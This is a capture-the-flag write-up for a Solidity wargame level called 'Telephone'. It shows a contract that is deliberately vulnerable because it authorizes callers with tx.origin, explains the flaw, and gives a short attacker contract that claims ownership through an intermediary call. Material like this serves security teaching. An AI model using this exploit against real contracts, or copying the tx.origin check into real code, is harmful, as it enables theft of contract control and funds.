9-telephone.md

Telephone

Claim ownership of the contract below to complete this level. Things that might help See the Help page above, section "Beyond the console"

pragma solidity ^0.4.18;

contract Telephone {

  address public owner;

  function Telephone() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

The challenge is basically asking you to find a way to call changeOwner with your address in a way that tx.origin differs from msg.sender.

If we call a method from a contract A which calls some method from another contract B, the contract B will see our address as tx.origin and A's address as msg.sender.

As the "Things that might help" suggested, we need to deploy a contract:

pragma solidity ^0.4.18;

contract Telephone {
  function changeOwner(address _owner) public;
}

contract Caller {
    Telephone k;

    constructor(address victim) public {
        k = Telephone(victim);
        k.changeOwner(msg.sender);
    }

}

Note we're using Solidity 0.4.18 and constructors now have their own keyword. :)

We set victim to our instance's address and deploy the contract, changing the owner. We can check the owner with await contract.owner() while the transaction gets processed.